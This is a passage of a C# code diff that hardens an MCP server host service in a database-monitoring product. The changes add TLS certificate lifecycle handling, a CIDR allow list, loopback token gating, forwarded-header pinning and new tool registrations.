+    public DarlingMcpHostService(ILogger<DarlingMcpHostService> logger, McpRuntimeState state, MonitoredServerRegistryState registryState, BaselineCache? baselineCache = null, ReadLatencyAccumulator? readLatency = null, SlowReadLog? slowReads = null, McpTlsCertificateState? mcpTlsCertState = null)
     {
+        _slowReads = slowReads;
         _logger = logger;
         _state = state;
         _registryState = registryState;
         _baselineCache = baselineCache ?? new BaselineCache();
         _readLatency = readLatency ?? new ReadLatencyAccumulator();
+        _mcpTlsCertState = mcpTlsCertState ?? new McpTlsCertificateState();
     }
 
     /// <summary>The supervisor's per-tick verdict — pure over (running, runningPort, enabled, desiredPort)
@@ -158,6 +193,10 @@ protected override async Task ExecuteAsync(CancellationToken stoppingToken)
         /* #2389: the last control-plane-override report emitted, so a steady disagreement is stated once per
            distinct state instead of on every 5s poll tick. */
         string? lastOverrideReport = null;
+        /* #5288: the last tick's enabled flag (null before the first tick), so the certificate release for a listener
+           that is disabled and not running below runs once per transition to disabled, not on every poll tick - the
+           same last-state shape as lastOverrideReport. */
+        bool? lastEnabled = null;
         while (!stoppingToken.IsCancellationRequested)
         {
             if (config is null && CollectorCadence.IntervalElapsed(lastFailedStartUtc, DateTime.UtcNow, FailedStartBackoff))
@@ -232,8 +271,19 @@ someone toggling the store after boot — is still reported. */
                         lastFailedStartUtc = DateTime.UtcNow;
                     }
                     break;
+
+                /* #5288: not running and disabled. A failed start keeps a certificate refusal or an expired verdict
+                   published (ClearUnlessRefusal), and a runtime disable that comes after it finds no app to stop, so
+                   no stop runs and the worker's alert would stay open until the next start or a service restart.
+                   Release the state with the call StopServerAsync makes, once per transition to disabled. */
+                case McpSupervisorAction.None
+                    when ListenerTlsCertificateState.ReleasesWhenDisabled(_app is not null, toggle.Enabled, lastEnabled):
+                    ReleaseServerCertificate();
+                    break;
             }
 
+            lastEnabled = toggle.Enabled;
+
             try
             {
                 await Task.Delay(SupervisorPollInterval, stoppingToken);
@@ -254,6 +304,10 @@ private async Task StopServerAsync(CancellationToken cancellationToken)
     {
         if (_app is null)
         {
+            /* #5288: nothing is serving, but a start that adopted a certificate and then stopped short of building
+               the app (shutdown caught it mid-start, say) must not leave its key held or its expiry published.
+               Released BEFORE this return, so no path through this method skips it. */
+            ReleaseServerCertificate();
             return;
         }
 
@@ -275,11 +329,19 @@ private async Task StopServerAsync(CancellationToken cancellationToken)
             _appDataSource = null;
         }
 
+        /* #5288: the certificate goes only after the listener that served it has stopped, so a handshake can never
+           reach a key already pulled from the machine key store, and its published expiry goes with it, so the
+           worker stops alerting on a certificate nothing serves. A runtime disable of MCP (a no-restart op)
+           reaches here; a port-change rebind runs Stop then Start in the same supervisor tick, so the next start
+           re-publishes before the hourly sweep can observe the empty state. */
+        ReleaseServerCertificate();
+
         _runningPort = 0;
     }
 
-    /// <summary>Failed-start cleanup: a partially built app / data source must not leak between attempts.</summary>
-    private async Task DisposeFailedStartAsync()
+    /// <summary>Failed-start cleanup: a partially built app / data source / certificate must not leak between attempts.
+    /// Internal so a test drives the real cleanup against the published certificate state.</summary>
+    internal async Task DisposeFailedStartAsync()
     {
         if (_app is not null)
         {
@@ -292,6 +354,33 @@ private async Task DisposeFailedStartAsync()
             try { await _appDataSource.DisposeAsync(); } catch { /* best-effort */ }
             _appDataSource = null;
         }
+
+        /* #5288: a start that adopted its certificate (before the port-in-use / credential bails after it) but never
+           served TLS must not hold the key until the next full stop, nor leave the worker alerting on a certificate
+           nothing serves. A refusal or an expired certificate is the exception: the listener is loopback-only on
+           that verdict whether or not the start failed, so it stays published until a successful load replaces it. */
+        ReleaseServerCertificate(failedStart: true);
+    }
+
+    /// <summary>
+    /// Disposes the served certificate, forgets it, and withdraws its published expiry facts (#5288). Best-effort,
+    /// so a throw from releasing a key cannot stop the rest of a stop or a failed-start cleanup. Safe to call when
+    /// there is no certificate. <paramref name="failedStart"/> keeps the published verdict when it is a refusal or an
+    /// expired certificate (<see cref="ListenerTlsCertificateState.ClearUnlessRefusal"/>); a stop clears it whatever
+    /// it is.
+    /// </summary>
+    private void ReleaseServerCertificate(bool failedStart = false)
+    {
+        try { _serverCertificate?.Dispose(); } catch { /* best-effort */ }
+        _serverCertificate = null;
+        if (failedStart)
+        {
+            _mcpTlsCertState.ClearUnlessRefusal(DateTimeOffset.UtcNow);
+        }
+        else
+        {
+            _mcpTlsCertState.Clear();
+        }
     }
 
     /// <summary>
@@ -319,16 +408,18 @@ private async Task<bool> TryStartServerAsync(
         {
             var networkMode = bind.Mode == McpBindMode.NetworkAndLoopback;
 
-            /* In network mode ResolveMcpBind has already validated the listen IP, the allowFrom CIDR, AND their
-               address-family agreement, so these two parses cannot throw; only resolving the token can still
-               fail (a corrupt DPAPI blob), which fail-closes to loopback-only rather than exposing tokenless. */
+            /* In network mode ResolveMcpBind has already validated the listen IP, the allowFrom CIDR list (#5288),
+               AND every entry's address-family agreement with the listen, so these two parses cannot throw; only
+               resolving the token can still fail (a corrupt DPAPI blob), and a token that is blank or cannot be
+               decrypted stops the start, as it does in loopback-only mode. The list type's default admits nobody,
+               so the value the loopback mode never reads fails closed too. */
             IPAddress? networkListenIp = null;
-            IPNetwork allowedCidr = default;
+            CidrAllowList allowedCidr = default;
             string bearerToken = "";
             if (networkMode)
             {
                 networkListenIp = IPAddress.Parse(config.Mcp.Network!.Listen!.Trim());
-                allowedCidr = IPNetwork.Parse(config.Mcp.Network.AllowFrom!.Trim());
+                allowedCidr = CidrAllowList.Parse(config.Mcp.Network.AllowFrom!);
 
                 try
                 {
@@ -336,8 +427,9 @@ private async Task<bool> TryStartServerAsync(
                     if (string.IsNullOrWhiteSpace(token))
                     {
                         _logger.LogCritical(
-                            "MCP network token resolved to empty after decryption — refusing to expose; binding loopback-only.");
-                        networkMode = false;
+                            "MCP network token resolved to empty after decryption; MCP server not started.");
+                        await DisposeFailedStartAsync();
+                        return false;
                     }
                     else
                     {
@@ -353,8 +445,65 @@ private async Task<bool> TryStartServerAsync(
                 catch (Exception ex)
                 {
                     _logger.LogCritical(
-                        "MCP network token could not be decrypted ({Message}) — refusing to expose; binding loopback-only.",
+                        "MCP network token could not be decrypted ({Message}); MCP server not started.",
                         ex.Message);
+                    await DisposeFailedStartAsync();
+                    return false;
+                }
+            }
+            else
+            {
+                /* A loopback-only start (no mcp.network.listen, or one the ladder refused) resolves a token the operator
+                   configured too, and the pipeline then gates the loopback listener on it exactly as it gates a
+                   degraded one. No token configured leaves bearerToken empty and the listener open to local clients,
+                   as it has always been. A configured token that cannot be used stops this start, because serving
+                   the listener open would drop the credential the operator asked every client to present. */
+                var loopbackToken = ResolveLoopbackOnlyToken(config.Mcp.Network, _logger);
+                if (loopbackToken.Refuse)
+                {
+                    await DisposeFailedStartAsync();
+                    return false;
+                }
+
+                bearerToken = loopbackToken.Token;
+            }
+
+            /* TLS for the network listener (#5288). Resolved HERE, in network mode only, for the reason the web host
+               resolves its own here: loading a certificate reads files and a clock, and the pure bind ladder
+               (ResolveMcpBind) is kept free of both. A certificate failure therefore degrades to loopback-only after a
+               Critical line (the token stays resolved and keeps gating the loopback listener), rather than needing a
+               bind reason of its own. It
+               sits BEFORE primaryBind and before the Host-name decision further down, because a refusal changes the
+               final mode and both read it.
+
+               The block itself lives in DarlingListenerTls.Resolve, shared with the web host, so there is one
+               fail-closed path and not two copies of it. What stays here is what only this host can do: adopt the
+               certificate, and refuse to expose when TLS was asked for and no certificate came back. */
+            DarlingWebTls.LoadedCertificate? serverCertificate = null;
+            if (networkMode)
+            {
+                var network = config.Mcp.Network!;
+                var tlsOutcome = DarlingListenerTls.Resolve(
+                    _logger, _mcpTlsCertState, ListenerTlsLabels.Mcp, network.Tls, networkListenIp!, effectivePort,
+                    NormalizedHostName(network.HostName));
+                networkMode = tlsOutcome.Expose;
+
+                /* Adopted by the field IMMEDIATELY, before any of the bail paths below it (port in use, store
+                   credential not ready, shutdown mid-start), so every one of them releases the key through
+                   DisposeFailedStartAsync. Resolve owned the certificate until it returned; from this line the
+                   field does. */
+                serverCertificate = tlsOutcome.Certificate;
+                _serverCertificate = tlsOutcome.Certificate;
+
+                /* #5288 review F1: Kestrel decides HTTPS from "the listener was handed a certificate", not from
+                   "TLS was configured", so TLS asked for + network mode + no certificate would bind the LAN address
+                   in plain HTTP. Resolve never returns that. This refuses it anyway, with its own Critical line,
+                   because the cost of being wrong is cleartext on the segment. */
+                if (tlsOutcome.ExposesWithoutItsCertificate)
+                {
+                    _logger.LogCritical(
+                        "MCP server TLS is configured ({Shape}) but no certificate came back; refusing to expose, binding loopback-only.",
+                        tlsOutcome.Shape);
                     networkMode = false;
                 }
             }
@@ -369,6 +518,7 @@ bail here reports nothing about the firewall. */
             if (await PortUtilityService.IsTcpPortListeningAsync(effectivePort, primaryBind, stoppingToken))
             {
                 _logger.LogError("Port {Port} is already in use — MCP server not started this attempt; will retry", effectivePort);
+                await DisposeFailedStartAsync();
                 return false;
             }
 
@@ -390,12 +540,14 @@ await CheckMcpFirewallAsync(
                 if (!OperatingSystem.IsWindows())
                 {
                     _logger.LogError("MCP server not started: postgres.managed = true requires Windows");
+                    await DisposeFailedStartAsync();
                     return false;
                 }
 
                 storeConnectionString = await WaitForManagedConnectionStringAsync(config.Postgres, stoppingToken);
                 if (storeConnectionString is null)
                 {
+                    await DisposeFailedStartAsync();
                     return false;
                 }
             }
@@ -407,6 +559,7 @@ await CheckMcpFirewallAsync(
                     DarlingStoreLogins.Surface.Mcp, config.Postgres, _logger, stoppingToken);
                 if (storeConnectionString is null)
                 {
+                    await DisposeFailedStartAsync();
                     return false;
                 }
             }
@@ -479,26 +632,14 @@ the web host (DarlingWebHostService, #4281 review finding 4). */
                 EnvironmentName = Environments.Production,
             });
 
+            /* #5288: the same kind of pin for the framework's forwarded-headers switch, on the very next line so no
+               service is registered between the builder and the pin. See PinForwardedHeadersOff. */
+            PinForwardedHeadersOff(builder.Services);
+
+            /* The listener layout lives in ConfigureListeners (#5288), so a live-HTTP test binds the SAME listeners
+               production does: the network listener carries the certificate, the loopback ones stay plain. */
             builder.WebHost.ConfigureKestrel(options =>
-            {
-                if (networkMode)
-                {
-                    /* Bind the specific family (not ListenAnyIP), then ALSO both loopback families so a local
-                       client resolving "localhost" -> ::1 still works — skipping the loopback Listen(s) when the
-                       listen value is itself loopback or a wildcard (0.0.0.0/::), which would collide on the port. */
-                    options.Listen(primaryBind, effectivePort);
-                    if (ShouldAddLoopbackListeners(primaryBind))
-                    {
-                        options.Listen(IPAddress.Loopback, effectivePort);
-                        options.Listen(IPAddress.IPv6Loopback, effectivePort);
-                    }
-                }
-                else
-                {
-                    /* The default/degraded loopback-only server — byte-for-byte today's bind (both families). */
-                    options.ListenLocalhost(effectivePort);
-                }
-            });
+                ConfigureListeners(options, networkMode, primaryBind, effectivePort, serverCertificate));
 
             /* Suppress ASP.NET Core console logging — the service's own logger reports lifecycle. */
             builder.Logging.ClearProviders();
@@ -583,27 +724,55 @@ store column defers to. */
             }
 
             /* Register MCP server with the analysis tool class. */
-            ConfigureMcpServices(builder.Services, declaredPeers, _readLatency, _logger);
+            ConfigureMcpServices(builder.Services, declaredPeers, _readLatency, _logger, _slowReads);
 
             _app = builder.Build();
 
-            ConfigurePipeline(_app, networkMode, networkListenIp, allowedCidr, bearerToken);
+            /* The Host guard also admits mcp.network.hostName (#5288), in NETWORK mode only (review F2). networkMode
+               is final by here (a token that cannot be used stops the start before this point), and a loopback-only
+               server admits no extra name. This deliberately differs from the web host (#4220), which admits
+               web.publicBaseUrl's host in both modes: MCP has no link builder that needs the name, and its
+               loopback surface is tokenless unless a token is configured, so one more admitted name there would widen the very surface the
+               guard exists to protect and buy nothing. A name that is set but refused logs one Warning inside
+               ResolveAllowedHostName and is not admitted (fail closed). */
+            var allowedHostName = ResolveAllowedHostName(config.Mcp.Network?.HostName, networkMode, _logger);
+
+            /* #5288: a start that was asked to expose and fell back to loopback-only AFTER its token resolved (the
+               TLS block above refused) keeps the token gate on the loopback server, because the operator's config
+               said every client presents it. bearerToken holds the resolved token in both branches above (the network
+               branch, and the loopback-only branch via ResolveLoopbackOnlyToken), so "not network mode, token set"
+               covers that state and a loopback-only start whose configured token resolved. A start with no token
+               configured leaves it empty and stays tokenless; a configured token that cannot be used never gets here,
+               the start stops in every mode. */
+            var requireTokenWhenLoopbackOnly = !networkMode && bearerToken.Length > 0;
+
+            /* #5288: the Host guard admits the listen address only while the server is exposed on it. networkListenIp
+               was parsed before any degrade and still holds it afterwards, so it goes through
+               ResolveHostGuardListenIp with the final mode: a start that fell back to loopback-only admits loopback
+               names only, whatever it parsed. */
+            ConfigurePipeline(_app, networkMode, ResolveHostGuardListenIp(networkMode, networkListenIp), allowedCidr, bearerToken, allowedHostName, requireTokenWhenLoopbackOnly);
 
             /* #2389: name the authority for each half of what is being started. enabled/port come from
                whichever plane the supervisor resolved; listen/allowFrom/token are always darling.json. */
             var origin = DarlingHostBinding.DescribeToggleOrigin(toggle);
             if (networkMode)
             {
+                /* #2562/#5288 review F11: name the SCHEME the exposed listener actually speaks, and name loopback as
+                   plain HTTP only when it is (see DescribeNetworkStart). With no TLS the text is the line this host
+                   has always logged. Text only: no listener decision moves here. */
                 _logger.LogInformation(
-                    "Starting MCP server on http://{Listen}:{Port} (LAN-exposed to {Cidr} behind a bearer token + in-app CIDR; loopback also bound) — "
-                    + "enabled/port from {Origin}; listen/allowFrom/token from darling.json mcp.network (file-only, restart-only)",
-                    primaryBind, effectivePort, allowedCidr, origin);
+                    "{Line}", DescribeNetworkStart(serverCertificate is not null, primaryBind, effectivePort, allowedCidr, origin));
             }
             else
             {
                 _logger.LogInformation(
-                    "Starting MCP server on http://localhost:{Port} (loopback only) — enabled/port from {Origin}",
-                    effectivePort, origin);
+                    "Starting MCP server on http://localhost:{Port} (loopback only){TokenNote} — enabled/port from {Origin}",
+                    effectivePort, requireTokenWhenLoopbackOnly ? ", token required" : "", origin);
+                if (requireTokenWhenLoopbackOnly)
+                {
+                    _logger.LogInformation(
+                        "The MCP loopback listener requires the mcp.network token: local clients present it too.");
+                }
             }
 
             /* #2479 item 6: the network block is read ONCE and held for the process lifetime by design.
@@ -632,7 +801,9 @@ serving until StopServerAsync (toggle-off, port change, or shutdown). */
         }
         catch (OperationCanceledException) when (stoppingToken.IsCancellationRequested)
         {
-            /* Normal shutdown mid-start. */
+            /* Normal shutdown mid-start, still releasing anything already acquired (#5288: the certificate's
+               private key is held in the machine key store until it is disposed). */
+            await DisposeFailedStartAsync();
             return false;
         }
         catch (Exception ex)
@@ -643,6 +814,120 @@ serving until StopServerAsync (toggle-off, port change, or shutdown). */
         }
     }
 
+    /// <summary>
+    /// Pins forwarded-header handling OFF on a host's builder (#5288), so the peer address the gates judge is always the
+    /// connection's own and never one a request header names. The framework registers its forwarded-headers
+    /// middleware and options setup while <c>WebApplication.CreateBuilder</c> runs, and turns them on from the
+    /// <c>ForwardedHeaders_Enabled</c> configuration value (the <c>ASPNETCORE_FORWARDEDHEADERS_ENABLED</c> environment
+    /// variable sets it), which neither host ever asks for: the service environment is not this code's to trust. This
+    /// post-configures the options after that setup, to <c>ForwardedHeaders.None</c>, so the middleware reads no
+    /// header whatever the switch says. Both hosts call it on the line after their <c>CreateBuilder</c>, and the gate
+    /// tests call it on their own builders, so a test exercises the production line.
+    /// </summary>
+    /// <param name="services">The builder's service collection.</param>
+    internal static void PinForwardedHeadersOff(IServiceCollection services)
+    {
+        ArgumentNullException.ThrowIfNull(services);
+
+        services.PostConfigure<ForwardedHeadersOptions>(
+            options => options.ForwardedHeaders = Microsoft.AspNetCore.HttpOverrides.ForwardedHeaders.None);
+    }
+
+    /// <summary>
+    /// The Kestrel listener layout for one start (#5288), extracted from <c>TryStartServerAsync</c> so a live-HTTP
+    /// test binds the SAME listeners production does instead of a hand-copied set that could drift. In network mode
+    /// the network listener binds <paramref name="primaryBind"/> and, when <paramref name="certificate"/> is not
+    /// null, is the ONE listener that serves HTTPS; both loopback families are added beside it as PLAIN HTTP unless
+    /// the listen is itself loopback or a wildcard (<see cref="ShouldAddLoopbackListeners"/>), which would collide
+    /// on the port. In loopback-only mode there is one plain server on both families.
+    ///
+    /// <para><b>Why loopback stays plain HTTP.</b> The certificate names the LAN address the operator exposes; it
+    /// almost never also names <c>localhost</c>, so serving TLS there would hand every local client a name-mismatch
+    /// failure on the one surface that never leaves the machine, and nothing is lost: loopback traffic is not on the
+    /// segment this protects. When the listen IS a wildcard there is a single listener and it is HTTPS for
+    /// everyone, loopback included, because the operator asked for all interfaces. A client that speaks plain HTTP
+    /// to the TLS listener fails at the handshake: one port cannot speak both schemes, and a second HTTP port to
+    /// redirect from would re-open, on a new port, the cleartext surface this exists to close.</para>
+    ///
+    /// <para>There is exactly ONE HTTPS call in this file, on the network listener, handing Kestrel the leaf and its
+    /// intermediates through the body both hosts share (<see cref="DarlingListenerTls.ConfigureHttps"/>). The
+    /// caller owns the certificate and disposes it after the listener stops.</para>
+    /// </summary>
+    internal static void ConfigureListeners(
+        KestrelServerOptions options,
+        bool networkMode,
+        IPAddress primaryBind,
+        int effectivePort,
+        DarlingWebTls.LoadedCertificate? certificate)
+    {
+        ArgumentNullException.ThrowIfNull(options);
+        ArgumentNullException.ThrowIfNull(primaryBind);
+
+        /* #5288: the listeners below are the ONLY ones this host binds. Kestrel adds the endpoints written in the
+           "Kestrel:Endpoints" section of configuration (an appsettings file in the content root, or a
+           Kestrel__Endpoints__* variable in the service environment) to whatever the code listens on, with none of the
+           scheme or certificate decisions made here. Handing it an empty configuration replaces that loader, so the
+           layout below is the whole layout. The web host starts its own listener callback with the same line. */
+        options.Configure(new ConfigurationBuilder().Build());
+
+        if (networkMode)
+        {
+            /* Bind the specific family (not ListenAnyIP), then ALSO both loopback families so a local
+               client resolving "localhost" -> ::1 still works — skipping the loopback Listen(s) when the
+               listen value is itself loopback or a wildcard (0.0.0.0/::), which would collide on the port. */
+            options.Listen(primaryBind, effectivePort, listen =>
+            {
+                if (certificate is not null)
+                {
+                    /* The leaf AND its intermediates, through the body both hosts share: Kestrel presents ONLY
+                       what it is handed, so see DarlingListenerTls.ConfigureHttps for why the chain travels with
+                       the leaf. This is the one HTTPS call in the file, and it sits on the network listener alone. */
+                    listen.UseHttps(https => DarlingListenerTls.ConfigureHttps(https, certificate.Value));
+                }
+            });
+
+            if (ShouldAddLoopbackListeners(primaryBind))
+            {
+                options.Listen(IPAddress.Loopback, effectivePort);
+                options.Listen(IPAddress.IPv6Loopback, effectivePort);
+            }
+        }
+        else
+        {
+            /* The default/degraded loopback-only server — byte-for-byte today's bind (both families), plain HTTP. */
+            options.ListenLocalhost(effectivePort);
+        }
+    }
+
+    /// <summary>
+    /// The start line for the LAN-exposed listener (#2389, #5288 review F11), as text so a test can render it. It
+    /// names the SCHEME the listener actually speaks, because an operator reading it is deciding whether the token
+    /// they are about to paste crosses the wire in the clear, and it names loopback as plain HTTP only when it is:
+    /// with TLS on and a wildcard listen there is ONE listener, HTTPS for loopback too, and saying otherwise would
+    /// send a local client to the wrong scheme (<see cref="DarlingListenerTls.DescribeLoopbackListener"/>). With no
+    /// TLS the text is exactly the line this host has always logged. PURE; text only, no listener decision moves here.
+    /// </summary>
+    /// <param name="tlsServed">Whether the network listener was handed a certificate.</param>
+    /// <param name="primaryBind">The address the network listener binds.</param>
+    /// <param name="port">The port both listeners serve.</param>
+    /// <param name="allowedCidr">The in-app allowFrom list.</param>
+    /// <param name="origin">Which plane supplied the enabled/port halves (<c>DescribeToggleOrigin</c>).</param>
+    internal static string DescribeNetworkStart(
+        bool tlsServed, IPAddress primaryBind, int port, CidrAllowList allowedCidr, string origin)
+    {
+        ArgumentNullException.ThrowIfNull(primaryBind);
+        ArgumentNullException.ThrowIfNull(origin);
+
+        var scheme = tlsServed ? "https" : "http";
+        var fileFields = tlsServed ? "listen/allowFrom/token/tls" : "listen/allowFrom/token";
+        var loopback = DarlingListenerTls.DescribeLoopbackListener(
+            tlsServed ? "loopback also bound over plain HTTP" : "loopback also bound", tlsServed, primaryBind);
+
+        return $"Starting MCP server on {scheme}://{primaryBind}:{port} "
+            + $"(LAN-exposed to {allowedCidr.ToString()} behind a bearer token + in-app CIDR; {loopback}) — "
+            + $"enabled/port from {origin}; {fileFields} from darling.json mcp.network (file-only, restart-only)";
+    }
+
     /// <summary>
     /// #4726: registers the analysis service TRANSIENT, so every MCP call gets its own instance, the way the worker
     /// builds one per pass. A single shared instance answers a second, overlapping analyze_server call with an empty
@@ -680,7 +965,7 @@ internal static void RegisterAnalysisService(
     /// Every line below is identical to before the extraction; only the receiver (<c>builder.Services</c>
     /// there vs. the parameter here) changes.
     /// </summary>
-    internal static void ConfigureMcpServices(IServiceCollection services, DarlingPeerDirectory.Snapshot declaredPeers, ReadLatencyAccumulator? readLatency = null, ILogger? readLatencyLogger = null)
+    internal static void ConfigureMcpServices(IServiceCollection services, DarlingPeerDirectory.Snapshot declaredPeers, ReadLatencyAccumulator? readLatency = null, ILogger? readLatencyLogger = null, SlowReadLog? slowReads = null)
     {
         /* #4442 scope 2: the per-tool latency filter needs the SAME accumulator singleton the web host and
            worker flush use (Program.cs registers ONE ReadLatencyAccumulator for the whole process) -- an
@@ -689,7 +974,7 @@ internal static void ConfigureMcpServices(IServiceCollection services, DarlingPe
            null-reference. Production's one real call site (TryStartServerAsync) resolves the DI singleton and
            passes it here explicitly. */
         var hostReadLatency = readLatency ?? new ReadLatencyAccumulator();
-        var toolLatency = new McpToolLatencyFilter(hostReadLatency, readLatencyLogger);
+        var toolLatency = new McpToolLatencyFilter(hostReadLatency, readLatencyLogger, slowReads);
 
         /* #4782: run_custom_view_panel records its composed-panel run through the shared runner, which used to
            find the accumulator in a process-wide static that only the web host set -- so the run was dropped
@@ -697,7 +982,7 @@ find the accumulator in a process-wide static that only the web host set -- so t
            were set up in one process. The tool now takes this seat as a DI service parameter, over the SAME
            accumulator the filter above records into. Typed-generic AddSingleton<T>, as the seat census
            (McpServiceParameterDiSeatCensusTests) greps this file's source text for it. */
-        services.AddSingleton<ReadLatencyRecorder>(new ReadLatencyRecorder(hostReadLatency, readLatencyLogger));
+        services.AddSingleton<ReadLatencyRecorder>(new ReadLatencyRecorder(hostReadLatency, readLatencyLogger, slowReads));
 
         services
             .AddMcpServer(options =>
@@ -722,7 +1007,7 @@ already populated from every tool class registered below. A /core request gets
                any handler, and Darling registers no fallback CallToolHandler, so a tools/call for a tool
                outside the closure gets the SDK's own "unknown tool" error on /core. Security posture is
                inherited for free: this callback runs from inside the MCP transport, AFTER every _app.Use
-               middleware below (Host-header guard, bearer token, CIDR) — a /core request is refused there
+               middleware below (the Host guard, the CIDR check in network mode, the token gate when one is in force, and the JSON check) — a /core request is refused there
                exactly as a / request would be, before this callback, or MapMcp, ever runs.
                The subset holds only in Stateless mode, where this callback runs on every request. A stateful
                session is looked up by its id alone, not by route, so one opened on / could call any tool on
@@ -750,8 +1035,14 @@ the subset Gemini/Antigravity accepts — collapsing nullable type unions and
             /* The five plan-analysis tools (analyze_query_plan / analyze_procedure_plan /
                analyze_query_store_plan / analyze_plan_xml / get_plan_xml) — the same names the
                Dashboard and Lite expose, fetching the collectors' STORED plan XML from Postgres
-               (no live monitored-server hit) and running the SHARED PlanAnalysis engine. */
+               (no live monitored-server hit) and running the SHARED PlanAnalysis engine — plus the
+               five raw-plan reads behind the web grids' plan buttons (#5228: get_query_store_plan_xml /
+               get_procedure_plan_xml / get_active_query_plan_xml; #5236: get_blocking_plan_xml /
+               get_deadlock_plan_xml), and the store-only repro-script read (#5233:
+               get_query_repro_script), which are Darling-only. */
             .WithGeminiCompatibleTools<DarlingMcpPlanTools>()
+            /* #5234: get_query_store_query_history, the per-plan history behind the web Query Store grid's History button. */
+            .WithGeminiCompatibleTools<DarlingMcpQueryStoreHistoryTools>()
             /* The core data-read tools (resource metrics, query performance, discovery/health —
                get_cpu_utilization / get_wait_stats / get_wait_trend / get_memory_stats /
                get_memory_clerks / get_file_io_stats / get_tempdb_trend / get_perfmon_stats /
@@ -801,11 +1092,13 @@ a window had a quiet half and a bad half. A STORED read over the same query_stat
                surface beside get_store_metrics. */
             .WithGeminiCompatibleTools<DarlingMcpStoreLogTools>()
             .WithGeminiCompatibleTools<DarlingMcpReadLatencyTools>()
+            .WithGeminiCompatibleTools<DarlingMcpSlowReadTools>()
             /* #4214 part 2 get_store_host — the store HOST's profile (platform/RAM/data volume, store
                facts, per-setting verdicts), the read side of part 1's --check-settings verb. Darling-only:
                Lite has no managed PostgreSQL store to profile. */
             .WithGeminiCompatibleTools<DarlingMcpStoreHostTools>()
             .WithGeminiCompatibleTools<DarlingMcpStoreQueryStatsTools>()
+            .WithGeminiCompatibleTools<DarlingMcpStoreQueryHistoryTools>()
             .WithGeminiCompatibleTools<DarlingMcpCollectorCostTools>()
             /* #2880 get_collector_stall_probes - the out-of-band server-wide wait samples taken
                while one of OUR collectors was stalled mid-read. Darling-only: the arm is installed by
@@ -941,6 +1234,7 @@ the later two as well - which is the only reason adding them needed no edit here
                the collected memory / perfmon / file-io / query-stats series, no live hit). Each mirrors
                the viewer's proven chart read; the shape follows Lite where the SKUs diverge. */
             .WithGeminiCompatibleTools<DarlingMcpTrendTools>()
+            .WithGeminiCompatibleTools<DarlingMcpServerTrendTools>()
             /* The fleet-triage quick-win reads the fleet edition previously lacked — the alerts family
                (get_alert_history over config_alert_log, get_alert_settings over config_alert_settings,
                get_mute_rules via the service-side PgMuteRuleStore), the CURRENT-config snapshot trio
@@ -1003,6 +1297,13 @@ SAME CustomAlertRuleDefinition.TryParse the CustomAlertEvaluator applies when it
                narrow INSERT/UPDATE/DELETE grant on ONLY config.custom_alert_rules (granted under V116), never the
                config pivot or the secret columns. */
             .WithGeminiCompatibleTools<DarlingMcpCustomAlertTools>()
+            /* The fleet server-tag WRITE tools (#5085) - create_server_tag / update_server_tag / delete_server_tag /
+               assign_server_tag / unassign_server_tag. They write config.server_tags and config.server_tag_map
+               through the SAME ServerTagStore the Viewer uses, with the depth, cycle, duplicate, name and colour
+               rules in ServerTagRules, and every result names the custom alert rules the change affects. The mcp
+               role carries the narrow INSERT/UPDATE/DELETE grant on ONLY those two tables (the admin gate), never
+               the config pivot or the secret columns. */
+            .WithGeminiCompatibleTools<DarlingMcpServerTagTools>()
             /* The server-onboarding WRITE tools — add_servers (BULK) / remove_server: an MCP client can stand up
                or tear down FLEET monitoring conversationally. The service-side twin of the Viewer's Add / Add-
                Multiple dialogs: add_servers validates each entry, probes the connection IN-PROCESS (the service
@@ -1018,7 +1319,21 @@ config pivot or a schema-wide write. */
                at McpToolGuide.Marker in WithGeminiCompatibleTools) and the cross-tool topics. Lite twin:
                McpToolGuideTools. */
             .WithGeminiCompatibleTools<DarlingMcpToolGuideTools>()
-            /* Three call-tool filters, each registered ONCE and each covering every tool with no
+            // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+            .WithGeminiCompatibleTools<DarlingMcpFinOpsInventoryTools>()
+            .WithGeminiCompatibleTools<DarlingMcpFinOpsRecommendationsTools>()
+            // FinOps web parity (#4843), set A ends.
+            // Each set belongs to one series of changes. Append to your own set only,
+            // so the two series never edit the same lines of this registration list.
+            // Entries keep the registration list's existing order and form.
+            // Set A and set B are separated on purpose: keep this gap.
+            //
+            //
+            //
+            // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+            .WithGeminiCompatibleTools<DarlingMcpFinOpsTools>()
+            // FinOps web parity (#4843), set B ends.
+            /* Four call-tool filters, each registered ONCE and each covering every tool with no
                per-tool change — the seam that exists precisely so a decision about all ~147 reads
                is made in one place.
 
@@ -1042,9 +1357,16 @@ inside the filter (see McpToolLatencyFilter's own doc): it already records one C
                through RunComposedPanelAsync, so recording it again here would double-count every MCP
                custom-view run.
 
-               Optional GCF (Graph Compact Format) output runs LAST: when DARLING_OUTPUT_FORMAT=gcf
+               Optional GCF (Graph Compact Format) output runs after those two: when DARLING_OUTPUT_FORMAT=gcf
                it re-encodes each tool's JSON result as a GCF generic wire. Opt-in, lossless, and
-               never larger than the JSON (see GcfCallToolFilter / GcfOutput). #4198 ruled out a
+               never larger than the JSON (see GcfCallToolFilter / GcfOutput).
+
+               The statement filter (#4348, SensitiveStatementOutputFilter) is registered LAST, after GCF. The SDK
+               documents the first filter added as the outermost, so the last one added sits next to the tool and
+               reads each result as the tool's own JSON, before GCF re-encodes it (a GCF wire escapes a line feed
+               and so would defeat the filter's token match). It covers every tool on / and /core, error results
+               included, with no per-tool change; SensitiveStatementHostFilterTests pins the slot and fails if an
+               SDK change reorders the pipeline. #4198 ruled out a
                post-hoc trim-to-budget filter here (it would make a tool's own truncated/*_returned
                fields wrong, cut calls that explicitly asked for more rows, and drop the newest rows
                of anything sorted oldest-first) in favor of sizing each tool's own defaults to fit —
@@ -1052,24 +1374,162 @@ never larger than the JSON (see GcfCallToolFilter / GcfOutput). #4198 ruled out
             .WithRequestFilters(filters => filters
                 .AddCallToolFilter(McpUnknownArgumentGuard.Instance)
                 .AddCallToolFilter(toolLatency.AsFilter())
-                .AddCallToolFilter(GcfCallToolFilter.Instance));
+                .AddCallToolFilter(GcfCallToolFilter.Instance)
+                .AddCallToolFilter(SensitiveStatementOutputFilter.Instance));
+    }
+
+    /// <summary>
+    /// The bare DNS name <c>mcp.network.hostName</c> stands for, or null when none is set or the value is not one
+    /// (#5288). The ONE place the raw value is normalized in this file, so the two things that read it cannot
+    /// disagree about which name the operator meant: the Host guard's admitted name (<see cref="ResolveAllowedHostName"/>,
+    /// network mode only) and the certificate's name check, which compares the same name against the certificate's
+    /// dNSName entries. PURE and silent: the Warning for a value that is set but refused belongs to
+    /// <see cref="ResolveAllowedHostName"/> and is written once, so reading the name for the certificate does not
